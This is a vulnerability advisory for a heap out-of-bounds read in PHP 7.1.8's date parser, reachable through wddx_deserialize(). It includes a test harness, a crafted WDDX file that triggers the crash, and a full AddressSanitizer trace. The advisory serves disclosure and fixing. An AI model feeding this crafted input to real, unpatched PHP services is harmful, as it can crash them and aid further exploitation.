PHP 7.1.8 Heap-Based Buffer Overflow

2017.11.15
Credit: Wei Lei
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

Description: ------------ A heap out-of-bound read vulnerability in timelib_meridian() can be triggered via wddx_deserialize() or other vectors that call into this function on untrusted inputs. $ ~/php-7.1.8/sapi/cli/php --version PHP 7.1.8 (cli) (built: Aug 9 2017 21:42:13) ( NTS ) Copyright (c) 1997-2017 The PHP Group Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies Configuration: CC="`which gcc`" CFLAGS="-O0 -g -fsanitize=address" ./configure --disable-shared --enable-wddx Credit: Wei Lei and Liu Yang of Nanyang Technological University Test script: --------------- $ cat wddx.php */ <?php $argc = $_SERVER['argc']; $argv = $_SERVER['argv']; $dir_str = dirname(__FILE__); $file_str = ($dir_str)."/".$argv[1]; if (!extension_loaded('wddx')) print "wddx not loaded.\n"; $wddx_str = file_get_contents($file_str); print strlen($wddx_str) . " bytes read.\n"; var_dump(wddx_deserialize($wddx_str)); ?> /* $ cat repro2.wddx <?xml version='1.0'?> <!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'> <wddxPacket version='1.0'> <header/> <data> <struct> <var name='aDateTime'> <dateTime>frONt of 0 0</dateTime> </var> </struct> </data> </wddxPacket> /* Expected result: ---------------- NO CRASH Actual result: -------------- $ ~/php-7.1.8/sapi/cli/php wddx.php repro2.wddx 309 bytes read. ================================================================= ==13788== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb57057fc at pc 0x809b622 bp 0xbf9d09d8 sp 0xbf9d09cc READ of size 1 at 0xb57057fc thread T0 #0 0x809b621 in timelib_meridian /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410 #1 0x80e0293 in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18228 #2 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194 #3 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455 #4 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071 #5 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265 #6 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597 #7 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715 #8 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454 #9 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600 #10 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105 #11 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323 #12 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675 #13 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429 #14 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474 #15 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476 #16 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537 #17 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993 #18 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381 #19 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82) #20 0x8065230 in _start (/home/weilei/php-7.1.8/sapi/cli/php+0x8065230) 0xb57057fc is located 0 bytes to the right of 12-byte region [0xb57057f0,0xb57057fc) allocated by thread T0 here: #0 0xb6168854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854) #1 0x8b73387 in __zend_malloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2820 #2 0x8b704a6 in _emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2413 #3 0x8b710f1 in _safe_emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2472 #4 0x8b7164c in _ecalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2495 #5 0x809bd8a in timelib_string /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:460 #6 0x80dfcbb in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18215 #7 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194 #8 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455 #9 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071 #10 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265 #11 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597 #12 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715 #13 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454 #14 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600 #15 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105 #16 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323 #17 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675 #18 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429 #19 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474 #20 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476 #21 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537 #22 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993 #23 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381 #24 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410 timelib_meridian Shadow bytes around the buggy address: 0x36ae0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x36ae0af0: fa fa fa fa fa fa fa fa fa fa fd fa fa fa 00[04] 0x36ae0b00:fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap righ redzone: fb Freed Heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==13788== ABORTING Aborted */


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